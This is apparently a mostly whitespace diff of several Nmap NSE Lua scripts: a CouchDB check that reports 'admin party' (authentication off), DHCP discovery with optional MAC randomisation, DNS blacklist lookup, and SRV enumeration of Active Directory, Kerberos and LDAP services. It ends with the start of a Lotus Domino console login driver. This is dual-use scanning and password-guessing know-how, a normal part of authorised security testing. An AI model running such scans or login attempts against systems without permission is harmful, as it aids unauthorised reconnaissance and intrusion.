-- "_active_tasks":"{couch_httpd_misc_handlers, handle_task_status_req}",
|
||||||
-- "_all_dbs":"{couch_httpd_misc_handlers, handle_all_dbs_req}",
|
-- "_all_dbs":"{couch_httpd_misc_handlers, handle_all_dbs_req}",
|
||||||
-- "_config":"{couch_httpd_misc_handlers, handle_config_req}",
|
-- "_config":"{couch_httpd_misc_handlers, handle_config_req}",
|
||||||
-- "_log":"{couch_httpd_misc_handlers, handle_log_req}","_oauth":"{couch_httpd_oauth, handle_oauth_req}",
|
-- "_log":"{couch_httpd_misc_handlers, handle_log_req}","_oauth":"{couch_httpd_oauth, handle_oauth_req}",
|
||||||
-- "_replicate":"{couch_httpd_misc_handlers, handle_replicate_req}","_restart":"{couch_httpd_misc_handlers, handle_restart_req}",
|
-- "_replicate":"{couch_httpd_misc_handlers, handle_replicate_req}","_restart":"{couch_httpd_misc_handlers, handle_restart_req}",
|
||||||
-- "_session":"{couch_httpd_auth, handle_session_req}","_sleep":"{couch_httpd_misc_handlers, handle_sleep_req}",
|
-- "_session":"{couch_httpd_auth, handle_session_req}","_sleep":"{couch_httpd_misc_handlers, handle_sleep_req}",
|
||||||
-- "_stats":"{couch_httpd_stats_handlers, handle_stats_req}","_user":"{couch_httpd_auth, handle_user_req}",
|
-- "_stats":"{couch_httpd_stats_handlers, handle_stats_req}","_user":"{couch_httpd_auth, handle_user_req}",
|
||||||
-- "_utils":"{couch_httpd_misc_handlers, handle_utils_dir_req, \"/usr/share/couchdb/www\"}",
|
-- "_utils":"{couch_httpd_misc_handlers, handle_utils_dir_req, \"/usr/share/couchdb/www\"}",
|
||||||
-- "_uuids":"{couch_httpd_misc_handlers, handle_uuids_req}","favicon.ico":"{couch_httpd_misc_handlers, handle_favicon_req, \"/usr/share/couchdb/www\"}"},
|
-- "_uuids":"{couch_httpd_misc_handlers, handle_uuids_req}","favicon.ico":"{couch_httpd_misc_handlers, handle_favicon_req, \"/usr/share/couchdb/www\"}"},
|
||||||
-- "query_server_config":{"reduce_limit":"true"},"log":{"file":"/var/log/couchdb/0.10.0/couch.log","level":"info"},
|
-- "query_server_config":{"reduce_limit":"true"},"log":{"file":"/var/log/couchdb/0.10.0/couch.log","level":"info"},
|
||||||
-- "query_servers":{"javascript":"/usr/bin/couchjs /usr/share/couchdb/server/main.js"},
|
-- "query_servers":{"javascript":"/usr/bin/couchjs /usr/share/couchdb/server/main.js"},
|
||||||
-- "daemons":{"batch_save":"{couch_batch_save_sup, start_link, []}","db_update_notifier":"{couch_db_update_notifier_sup, start_link, []}",
|
-- "daemons":{"batch_save":"{couch_batch_save_sup, start_link, []}","db_update_notifier":"{couch_db_update_notifier_sup, start_link, []}",
|
||||||
-- "external_manager":"{couch_external_manager, start_link, []}","httpd":"{couch_httpd, start_link, []}",
|
-- "external_manager":"{couch_external_manager, start_link, []}","httpd":"{couch_httpd, start_link, []}",
|
||||||
-- "query_servers":"{couch_query_servers, start_link, []}","stats_aggregator":"{couch_stats_aggregator, start, []}",
|
-- "query_servers":"{couch_query_servers, start_link, []}","stats_aggregator":"{couch_stats_aggregator, start, []}",
|
||||||
-- "stats_collector":"{couch_stats_collector, start, []}","view_manager":"{couch_view, start_link, []}"},
|
-- "stats_collector":"{couch_stats_collector, start, []}","view_manager":"{couch_view, start_link, []}"},
|
||||||
-- "httpd":{"WWW-Authenticate":"Basic realm=\"administrator\"","authentication_handlers":"{couch_httpd_oauth, oauth_authentication_handler}, {couch_httpd_auth, default_authentication_handler}",
|
-- "httpd":{"WWW-Authenticate":"Basic realm=\"administrator\"","authentication_handlers":"{couch_httpd_oauth, oauth_authentication_handler}, {couch_httpd_auth, default_authentication_handler}",
|
||||||
-- "bind_address":"127.0.0.1","default_handler":"{couch_httpd_db, handle_request}","port":"5984"},"httpd_db_handlers":{"_changes":"{couch_httpd_db, handle_changes_req}",
|
-- "bind_address":"127.0.0.1","default_handler":"{couch_httpd_db, handle_request}","port":"5984"},"httpd_db_handlers":{"_changes":"{couch_httpd_db, handle_changes_req}",
|
||||||
-- "_compact":"{couch_httpd_db, handle_compact_req}","_design":"{couch_httpd_db, handle_design_req}","_temp_view":"{couch_httpd_view, handle_temp_view_req}",
|
-- "_compact":"{couch_httpd_db, handle_compact_req}","_design":"{couch_httpd_db, handle_design_req}","_temp_view":"{couch_httpd_view, handle_temp_view_req}",
|
||||||
-- "_view":"{couch_httpd_view, handle_db_view_req}","_view_cleanup":"{couch_httpd_db, handle_view_cleanup_req}"},
|
-- "_view":"{couch_httpd_view, handle_db_view_req}","_view_cleanup":"{couch_httpd_db, handle_view_cleanup_req}"},
|
||||||
-- "couch_httpd_auth":{"authentication_db":"users","require_valid_user":"false","secret":"replace this with a real secret in your local.ini file"},
|
-- "couch_httpd_auth":{"authentication_db":"users","require_valid_user":"false","secret":"replace this with a real secret in your local.ini file"},
|
||||||
-- "couchdb":{"batch_save_interval":"1000","batch_save_size":"1000","database_dir":"/var/lib/couchdb/0.10.0","delayed_commits":"true",
|
-- "couchdb":{"batch_save_interval":"1000","batch_save_size":"1000","database_dir":"/var/lib/couchdb/0.10.0","delayed_commits":"true",
|
||||||
-- "max_attachment_chunk_size":"4294967296","max_dbs_open":"100","max_document_size":"4294967296",
|
-- "max_attachment_chunk_size":"4294967296","max_dbs_open":"100","max_document_size":"4294967296",
|
||||||
-- "os_process_timeout":"5000","util_driver_dir":"/usr/lib/couchdb/erlang/lib/couch-0.10.0/priv/lib","view_index_dir":"/var/lib/couchdb/0.10.0"}}
|
-- "os_process_timeout":"5000","util_driver_dir":"/usr/lib/couchdb/erlang/lib/couch-0.10.0/priv/lib","view_index_dir":"/var/lib/couchdb/0.10.0"}}
|
||||||
local auth = "Authentication : %s"
|
local auth = "Authentication : %s"
|
||||||
local authEnabled = "unknown"
|
local authEnabled = "unknown"
|
||||||
|
|
||||||
if(status) then
|
if(status) then
|
||||||
if(authresult["error"] == "unauthorized") then authEnabled = "enabled"
|
if(authresult["error"] == "unauthorized") then authEnabled = "enabled"
|
||||||
elseif (authresult["httpd_design_handlers"] ~= nil) then authEnabled = "NOT enabled ('admin party')"
|
elseif (authresult["httpd_design_handlers"] ~= nil) then authEnabled = "NOT enabled ('admin party')"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
table.insert(result, auth:format(authEnabled))
|
table.insert(result, auth:format(authEnabled))
|
||||||
return stdnse.format_output(true, result )
|
return stdnse.format_output(true, result )
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -70,98 +70,98 @@ categories = {"discovery", "safe"}
|
|||||||
|
|
||||||
-- We want to run against a specific host if UDP/67 is open
|
-- We want to run against a specific host if UDP/67 is open
|
||||||
function portrule(host, port)
|
function portrule(host, port)
|
||||||
if nmap.address_family() ~= 'inet' then
|
if nmap.address_family() ~= 'inet' then
|
||||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
return shortport.portnumber(67, "udp")(host, port)
|
return shortport.portnumber(67, "udp")(host, port)
|
||||||
end
|
end
|
||||||
|
|
||||||
local function go(host, port)
|
local function go(host, port)
|
||||||
|
|
||||||
-- Build and send a DHCP request using the specified request type, or DHCPINFORM
|
-- Build and send a DHCP request using the specified request type, or DHCPINFORM
|
||||||
local requests = tonumber(nmap.registry.args.requests or 1)
|
local requests = tonumber(nmap.registry.args.requests or 1)
|
||||||
local results = {}
|
local results = {}
|
||||||
for i = 1, requests, 1 do
|
for i = 1, requests, 1 do
|
||||||
-- Decide which type of request to make
|
-- Decide which type of request to make
|
||||||
local request_type = dhcp.request_types[nmap.registry.args.dhcptype or "DHCPINFORM"]
|
local request_type = dhcp.request_types[nmap.registry.args.dhcptype or "DHCPINFORM"]
|
||||||
if(request_type == nil) then
|
if(request_type == nil) then
|
||||||
return false, "Valid request types: " .. stdnse.strjoin(", ", dhcp.request_types_str)
|
return false, "Valid request types: " .. stdnse.strjoin(", ", dhcp.request_types_str)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Generate the MAC address, if it's random
|
-- Generate the MAC address, if it's random
|
||||||
local mac_addr = host.mac_addr_src
|
local mac_addr = host.mac_addr_src
|
||||||
if(nmap.registry.args.randomize_mac == 'true' or nmap.registry.args.randomize_mac == '1') then
|
if(nmap.registry.args.randomize_mac == 'true' or nmap.registry.args.randomize_mac == '1') then
|
||||||
stdnse.print_debug(2, "dhcp-discover: Generating a random MAC address")
|
stdnse.print_debug(2, "dhcp-discover: Generating a random MAC address")
|
||||||
mac_addr = ""
|
mac_addr = ""
|
||||||
for j=1, 6, 1 do
|
for j=1, 6, 1 do
|
||||||
mac_addr = mac_addr .. string.char(math.random(1, 255))
|
mac_addr = mac_addr .. string.char(math.random(1, 255))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local iface, err = nmap.get_interface_info(host.interface)
|
local iface, err = nmap.get_interface_info(host.interface)
|
||||||
if ( not(iface) or not(iface.address) ) then
|
if ( not(iface) or not(iface.address) ) then
|
||||||
return false, "Couldn't determine local ip for interface: " .. host.interface
|
return false, "Couldn't determine local ip for interface: " .. host.interface
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, result = dhcp.make_request(host.ip, request_type, iface.address, mac_addr)
|
local status, result = dhcp.make_request(host.ip, request_type, iface.address, mac_addr)
|
||||||
if( not(status) ) then
|
if( not(status) ) then
|
||||||
stdnse.print_debug(1, "dhcp-discover: Couldn't send DHCP request: %s", result)
|
stdnse.print_debug(1, "dhcp-discover: Couldn't send DHCP request: %s", result)
|
||||||
return false, result
|
return false, result
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(results, result)
|
table.insert(results, result)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Done!
|
-- Done!
|
||||||
return true, results
|
return true, results
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, results = go(host, port)
|
local status, results = go(host, port)
|
||||||
|
|
||||||
|
|
||||||
if(not(status)) then
|
if(not(status)) then
|
||||||
return stdnse.format_output(false, results)
|
return stdnse.format_output(false, results)
|
||||||
end
|
end
|
||||||
|
|
||||||
if(not(results)) then
|
if(not(results)) then
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Set the port state to open
|
-- Set the port state to open
|
||||||
if(host) then
|
if(host) then
|
||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
end
|
end
|
||||||
|
|
||||||
local response = {}
|
local response = {}
|
||||||
|
|
||||||
-- Display the results
|
-- Display the results
|
||||||
for i, result in ipairs(results) do
|
for i, result in ipairs(results) do
|
||||||
local result_table = {}
|
local result_table = {}
|
||||||
|
|
||||||
if ( nmap.registry.args.dhcptype and
|
if ( nmap.registry.args.dhcptype and
|
||||||
"DHCPINFORM" ~= nmap.registry.args.dhcptype ) then
|
"DHCPINFORM" ~= nmap.registry.args.dhcptype ) then
|
||||||
table.insert(result_table, string.format("IP Offered: %s", result.yiaddr_str))
|
table.insert(result_table, string.format("IP Offered: %s", result.yiaddr_str))
|
||||||
end
|
end
|
||||||
for _, v in ipairs(result.options) do
|
for _, v in ipairs(result.options) do
|
||||||
if(type(v['value']) == 'table') then
|
if(type(v['value']) == 'table') then
|
||||||
table.insert(result_table, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
|
table.insert(result_table, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
|
||||||
else
|
else
|
||||||
table.insert(result_table, string.format("%s: %s\n", v['name'], v['value']))
|
table.insert(result_table, string.format("%s: %s\n", v['name'], v['value']))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if(#results == 1) then
|
if(#results == 1) then
|
||||||
response = result_table
|
response = result_table
|
||||||
else
|
else
|
||||||
result_table['name'] = string.format("Result %d of %d", i, #results)
|
result_table['name'] = string.format("Result %d of %d", i, #results)
|
||||||
table.insert(response, result_table)
|
table.insert(response, result_table)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, response)
|
return stdnse.format_output(true, response)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -78,100 +78,100 @@ categories = {"external", "safe"}
|
|||||||
hostrule = function() return true end
|
hostrule = function() return true end
|
||||||
prerule = function() return true end
|
prerule = function() return true end
|
||||||
|
|
||||||
local arg_IP = stdnse.get_script_args(SCRIPT_NAME .. ".ip")
|
local arg_IP = stdnse.get_script_args(SCRIPT_NAME .. ".ip")
|
||||||
local arg_mode = stdnse.get_script_args(SCRIPT_NAME .. ".mode") or "long"
|
local arg_mode = stdnse.get_script_args(SCRIPT_NAME .. ".mode") or "long"
|
||||||
local arg_list = stdnse.get_script_args(SCRIPT_NAME .. ".list")
|
local arg_list = stdnse.get_script_args(SCRIPT_NAME .. ".list")
|
||||||
local arg_services = stdnse.get_script_args(SCRIPT_NAME .. ".services")
|
local arg_services = stdnse.get_script_args(SCRIPT_NAME .. ".services")
|
||||||
local arg_category = stdnse.get_script_args(SCRIPT_NAME .. ".category") or "all"
|
local arg_category = stdnse.get_script_args(SCRIPT_NAME .. ".category") or "all"
|
||||||
|
|
||||||
local function listServices()
|
local function listServices()
|
||||||
local result = {}
|
local result = {}
|
||||||
if ( "all" == arg_category ) then
|
if ( "all" == arg_category ) then
|
||||||
for cat in pairs(dnsbl.SERVICES) do
|
for cat in pairs(dnsbl.SERVICES) do
|
||||||
local helper = dnsbl.Helper:new(cat, arg_mode)
|
local helper = dnsbl.Helper:new(cat, arg_mode)
|
||||||
local cat_res= helper:listServices()
|
local cat_res= helper:listServices()
|
||||||
cat_res.name = cat
|
cat_res.name = cat
|
||||||
table.insert(result, cat_res)
|
table.insert(result, cat_res)
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
result = dnsbl.Helper:new(arg_category, arg_mode):listServices()
|
result = dnsbl.Helper:new(arg_category, arg_mode):listServices()
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
|
|
||||||
local function formatResult(result)
|
local function formatResult(result)
|
||||||
local output = {}
|
local output = {}
|
||||||
for _, svc in ipairs(result) do
|
for _, svc in ipairs(result) do
|
||||||
if ( svc.result.details ) then
|
if ( svc.result.details ) then
|
||||||
svc.result.details.name = ("%s - %s"):format(svc.name, svc.result.state)
|
svc.result.details.name = ("%s - %s"):format(svc.name, svc.result.state)
|
||||||
table.insert(output, svc.result.details)
|
table.insert(output, svc.result.details)
|
||||||
else
|
else
|
||||||
table.insert(output, ("%s - %s"):format(svc.name, svc.result.state))
|
table.insert(output, ("%s - %s"):format(svc.name, svc.result.state))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return output
|
return output
|
||||||
end
|
end
|
||||||
|
|
||||||
dnsblAction = function(host)
|
dnsblAction = function(host)
|
||||||
|
|
||||||
local helper
|
local helper
|
||||||
if ( arg_services and ( not(arg_category) or "all" == arg_category:lower() ) ) then
|
if ( arg_services and ( not(arg_category) or "all" == arg_category:lower() ) ) then
|
||||||
return "\n ERROR: A service filter can't be used without a specific category"
|
return "\n ERROR: A service filter can't be used without a specific category"
|
||||||
elseif( "all" ~= arg_category ) then
|
elseif( "all" ~= arg_category ) then
|
||||||
helper = dnsbl.Helper:new(arg_category, arg_mode)
|
helper = dnsbl.Helper:new(arg_category, arg_mode)
|
||||||
helper:setFilter(arg_services)
|
helper:setFilter(arg_services)
|
||||||
local status, err = helper:validateFilter()
|
local status, err = helper:validateFilter()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return ("\n ERROR: %s"):format(err)
|
return ("\n ERROR: %s"):format(err)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local output = {}
|
local output = {}
|
||||||
if ( helper ) then
|
if ( helper ) then
|
||||||
local result = helper:checkBL(host.ip)
|
local result = helper:checkBL(host.ip)
|
||||||
if ( #result == 0 ) then return end
|
if ( #result == 0 ) then return end
|
||||||
output = formatResult(result)
|
output = formatResult(result)
|
||||||
else
|
else
|
||||||
for cat in pairs(dnsbl.SERVICES) do
|
for cat in pairs(dnsbl.SERVICES) do
|
||||||
helper = dnsbl.Helper:new(cat, arg_mode)
|
helper = dnsbl.Helper:new(cat, arg_mode)
|
||||||
local result = helper:checkBL(host.ip)
|
local result = helper:checkBL(host.ip)
|
||||||
local out_part = formatResult(result)
|
local out_part = formatResult(result)
|
||||||
if ( #out_part > 0 ) then
|
if ( #out_part > 0 ) then
|
||||||
out_part.name = cat
|
out_part.name = cat
|
||||||
table.insert(output, out_part)
|
table.insert(output, out_part)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if ( #output == 0 ) then return end
|
if ( #output == 0 ) then return end
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( "prerule" == SCRIPT_TYPE ) then
|
if ( "prerule" == SCRIPT_TYPE ) then
|
||||||
output.name = host.ip
|
output.name = host.ip
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, output)
|
return stdnse.format_output(true, output)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
-- execute the action function corresponding to the current rule
|
-- execute the action function corresponding to the current rule
|
||||||
action = function(...)
|
action = function(...)
|
||||||
|
|
||||||
if ( arg_mode ~= "short" and arg_mode ~= "long" ) then
|
if ( arg_mode ~= "short" and arg_mode ~= "long" ) then
|
||||||
return "\n ERROR: Invalid argument supplied, mode should be either 'short' or 'long'"
|
return "\n ERROR: Invalid argument supplied, mode should be either 'short' or 'long'"
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( arg_IP and not(ipOps.todword(arg_IP)) ) then
|
if ( arg_IP and not(ipOps.todword(arg_IP)) ) then
|
||||||
return "\n ERROR: Invalid IP address was supplied"
|
return "\n ERROR: Invalid IP address was supplied"
|
||||||
end
|
end
|
||||||
|
|
||||||
-- if the list argument was given, just list the services and abort
|
-- if the list argument was given, just list the services and abort
|
||||||
if ( arg_list ) then
|
if ( arg_list ) then
|
||||||
return listServices()
|
return listServices()
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( arg_IP and "prerule" == SCRIPT_TYPE ) then
|
if ( arg_IP and "prerule" == SCRIPT_TYPE ) then
|
||||||
return dnsblAction( { ip = arg_IP } )
|
return dnsblAction( { ip = arg_IP } )
|
||||||
elseif ( "hostrule" == SCRIPT_TYPE ) then
|
elseif ( "hostrule" == SCRIPT_TYPE ) then
|
||||||
return dnsblAction(...)
|
return dnsblAction(...)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -69,113 +69,113 @@ local arg_filter = stdnse.get_script_args(SCRIPT_NAME .. ".filter")
|
|||||||
prerule = function() return not(not(arg_domain)) end
|
prerule = function() return not(not(arg_domain)) end
|
||||||
|
|
||||||
local function parseSvcList(services)
|
local function parseSvcList(services)
|
||||||
local i = 1
|
local i = 1
|
||||||
return function()
|
return function()
|
||||||
local svc = services[i]
|
local svc = services[i]
|
||||||
if ( svc ) then
|
if ( svc ) then
|
||||||
i=i + 1
|
i=i + 1
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
return svc.name, svc.query
|
return svc.name, svc.query
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||||
|
|
||||||
local function parseSrvResponse(resp)
|
local function parseSrvResponse(resp)
|
||||||
local i = 1
|
local i = 1
|
||||||
if ( resp.answers ) then
|
if ( resp.answers ) then
|
||||||
table.sort(resp.answers,
|
table.sort(resp.answers,
|
||||||
function(a, b)
|
function(a, b)
|
||||||
if ( a.SRV and b.SRV and a.SRV.prio and b.SRV.prio ) then
|
if ( a.SRV and b.SRV and a.SRV.prio and b.SRV.prio ) then
|
||||||
return a.SRV.prio < b.SRV.prio
|
return a.SRV.prio < b.SRV.prio
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
return function()
|
return function()
|
||||||
if ( not(resp.answers) or 0 == #resp.answers ) then return end
|
if ( not(resp.answers) or 0 == #resp.answers ) then return end
|
||||||
if ( not(resp.answers[i]) ) then
|
if ( not(resp.answers[i]) ) then
|
||||||
return
|
return
|
||||||
elseif ( resp.answers[i].SRV ) then
|
elseif ( resp.answers[i].SRV ) then
|
||||||
local srv = resp.answers[i].SRV
|
local srv = resp.answers[i].SRV
|
||||||
i = i + 1
|
i = i + 1
|
||||||
return srv.target, srv.port, srv.prio, srv.weight
|
return srv.target, srv.port, srv.prio, srv.weight
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local function checkFilter(services)
|
local function checkFilter(services)
|
||||||
if ( not(arg_filter) or "" == arg_filter or "all" == arg_filter ) then
|
if ( not(arg_filter) or "" == arg_filter or "all" == arg_filter ) then
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
for name, queries in parseSvcList(services) do
|
for name, queries in parseSvcList(services) do
|
||||||
if ( name == arg_filter ) then
|
if ( name == arg_filter ) then
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
local function doQuery(name, queries, result)
|
local function doQuery(name, queries, result)
|
||||||
local condvar = nmap.condvar(result)
|
local condvar = nmap.condvar(result)
|
||||||
local svc_result = tab.new(4)
|
local svc_result = tab.new(4)
|
||||||
tab.addrow(svc_result, "service", "prio", "weight", "host")
|
tab.addrow(svc_result, "service", "prio", "weight", "host")
|
||||||
for _, query in ipairs(queries) do
|
for _, query in ipairs(queries) do
|
||||||
local fqdn = ("%s.%s"):format(query, arg_domain)
|
local fqdn = ("%s.%s"):format(query, arg_domain)
|
||||||
local status, resp = dns.query(fqdn, { dtype="SRV", retAll=true, retPkt=true } )
|
local status, resp = dns.query(fqdn, { dtype="SRV", retAll=true, retPkt=true } )
|
||||||
for host, port, prio, weight in parseSrvResponse(resp) do
|
for host, port, prio, weight in parseSrvResponse(resp) do
|
||||||
if target.ALLOW_NEW_TARGETS then
|
if target.ALLOW_NEW_TARGETS then
|
||||||
target.add(host)
|
target.add(host)
|
||||||
end
|
end
|
||||||
local proto = query:sub(-3)
|
local proto = query:sub(-3)
|
||||||
tab.addrow(svc_result, ("%d/%s"):format(port, proto), prio, weight, host)
|
tab.addrow(svc_result, ("%d/%s"):format(port, proto), prio, weight, host)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if ( #svc_result ~= 1 ) then
|
if ( #svc_result ~= 1 ) then
|
||||||
table.insert(result, { name = name, tab.dump(svc_result) })
|
table.insert(result, { name = name, tab.dump(svc_result) })
|
||||||
end
|
end
|
||||||
condvar "signal"
|
condvar "signal"
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host)
|
action = function(host)
|
||||||
|
|
||||||
local services = {
|
local services = {
|
||||||
{ name = "Active Directory Global Catalog", query = {"_gc._tcp"} },
|
{ name = "Active Directory Global Catalog", query = {"_gc._tcp"} },
|
||||||
{ name = "Exchange Autodiscovery", query = {"_autodiscover._tcp"} },
|
{ name = "Exchange Autodiscovery", query = {"_autodiscover._tcp"} },
|
||||||
{ name = "Kerberos KDC Service", query = {"_kerberos._tcp", "_kerberos._udp"} },
|
{ name = "Kerberos KDC Service", query = {"_kerberos._tcp", "_kerberos._udp"} },
|
||||||
{ name = "Kerberos Password Change Service", query = {"_kpasswd._tcp", "_kpasswd._udp"} },
|
{ name = "Kerberos Password Change Service", query = {"_kpasswd._tcp", "_kpasswd._udp"} },
|
||||||
{ name = "LDAP", query = {"_ldap._tcp"} },
|
{ name = "LDAP", query = {"_ldap._tcp"} },
|
||||||
{ name = "SIP", query = {"_sip._udp", "_sip._tcp"} },
|
{ name = "SIP", query = {"_sip._udp", "_sip._tcp"} },
|
||||||
{ name = "XMPP server-to-server", query = {"_xmpp-server._tcp"} },
|
{ name = "XMPP server-to-server", query = {"_xmpp-server._tcp"} },
|
||||||
{ name = "XMPP client-to-server", query = {"_xmpp-client._tcp"} },
|
{ name = "XMPP client-to-server", query = {"_xmpp-client._tcp"} },
|
||||||
}
|
}
|
||||||
|
|
||||||
if ( not(checkFilter(services)) ) then
|
if ( not(checkFilter(services)) ) then
|
||||||
return fail(("Invalid filter (%s) was supplied"):format(arg_filter))
|
return fail(("Invalid filter (%s) was supplied"):format(arg_filter))
|
||||||
end
|
end
|
||||||
|
|
||||||
local threads, result = {}, {}
|
local threads, result = {}, {}
|
||||||
for name, queries in parseSvcList(services) do
|
for name, queries in parseSvcList(services) do
|
||||||
if ( not(arg_filter) or 0 == #arg_filter or
|
if ( not(arg_filter) or 0 == #arg_filter or
|
||||||
"all" == arg_filter or arg_filter == name ) then
|
"all" == arg_filter or arg_filter == name ) then
|
||||||
local co = stdnse.new_thread(doQuery, name, queries, result)
|
local co = stdnse.new_thread(doQuery, name, queries, result)
|
||||||
threads[co] = true
|
threads[co] = true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local condvar = nmap.condvar(result)
|
local condvar = nmap.condvar(result)
|
||||||
repeat
|
repeat
|
||||||
for t in pairs(threads) do
|
for t in pairs(threads) do
|
||||||
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
|
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
|
||||||
end
|
end
|
||||||
if ( next(threads) ) then
|
if ( next(threads) ) then
|
||||||
condvar "wait"
|
condvar "wait"
|
||||||
end
|
end
|
||||||
until( next(threads) == nil )
|
until( next(threads) == nil )
|
||||||
|
|
||||||
table.sort(result, function(a,b) return a.name < b.name end)
|
table.sort(result, function(a,b) return a.name < b.name end)
|
||||||
|
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -41,128 +41,128 @@ local not_admins = {}
|
|||||||
|
|
||||||
SocketPool = {
|
SocketPool = {
|
||||||
|
|
||||||
new = function(self, max_sockets)
|
new = function(self, max_sockets)
|
||||||
local o = {}
|
local o = {}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
o.max_sockets = max_sockets
|
o.max_sockets = max_sockets
|
||||||
o.pool = {}
|
o.pool = {}
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
getSocket = function(self, host, port)
|
getSocket = function(self, host, port)
|
||||||
while(true) do
|
while(true) do
|
||||||
for i=1, #self.pool do
|
for i=1, #self.pool do
|
||||||
if ( not( self.pool[i].inuse ) ) then
|
if ( not( self.pool[i].inuse ) ) then
|
||||||
self.pool[i].inuse = true
|
self.pool[i].inuse = true
|
||||||
return self.pool[i].socket
|
return self.pool[i].socket
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if ( #self.pool < self.max_sockets ) then
|
if ( #self.pool < self.max_sockets ) then
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
local status = socket:connect( host.ip, port.number, "tcp")
|
local status = socket:connect( host.ip, port.number, "tcp")
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
socket:reconnect_ssl()
|
socket:reconnect_ssl()
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( status and socket ) then
|
if ( status and socket ) then
|
||||||
table.insert( self.pool, {['socket'] = socket, ['inuse'] = false})
|
table.insert( self.pool, {['socket'] = socket, ['inuse'] = false})
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
stdnse.sleep(1)
|
stdnse.sleep(1)
|
||||||
end
|
end
|
||||||
end,
|
end,
|
||||||
|
|
||||||
releaseSocket = function( self, socket )
|
releaseSocket = function( self, socket )
|
||||||
for i=1, #self.pool do
|
for i=1, #self.pool do
|
||||||
if( socket == self.pool[i].socket ) then
|
if( socket == self.pool[i].socket ) then
|
||||||
self.pool[i].inuse = false
|
self.pool[i].inuse = false
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end,
|
end,
|
||||||
|
|
||||||
shutdown = function( self )
|
shutdown = function( self )
|
||||||
for i=1, #self.pool do
|
for i=1, #self.pool do
|
||||||
self.pool[i].socket:close()
|
self.pool[i].socket:close()
|
||||||
end
|
end
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
Driver =
|
Driver =
|
||||||
{
|
{
|
||||||
|
|
||||||
new = function(self, host, port, options)
|
new = function(self, host, port, options)
|
||||||
local o = {}
|
local o = {}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
o.host = host
|
o.host = host
|
||||||
o.port = port
|
o.port = port
|
||||||
o.sockpool = options
|
o.sockpool = options
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
self.socket = self.sockpool:getSocket( self.host, self.port )
|
self.socket = self.sockpool:getSocket( self.host, self.port )
|
||||||
|
|
||||||
if ( self.socket ) then
|
if ( self.socket ) then
|
||||||
return true
|
return true
|
||||||
else
|
else
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
end,
|
end,
|
||||||
|
|
||||||
--- Attempts to login to the Lotus Domino Console
|
--- Attempts to login to the Lotus Domino Console
|
||||||
--
|
--
|
||||||
-- @param username string containing the login username
|
-- @param username string containing the login username
|
||||||
-- @param password string containing the login password
|
-- @param password string containing the login password
|
||||||
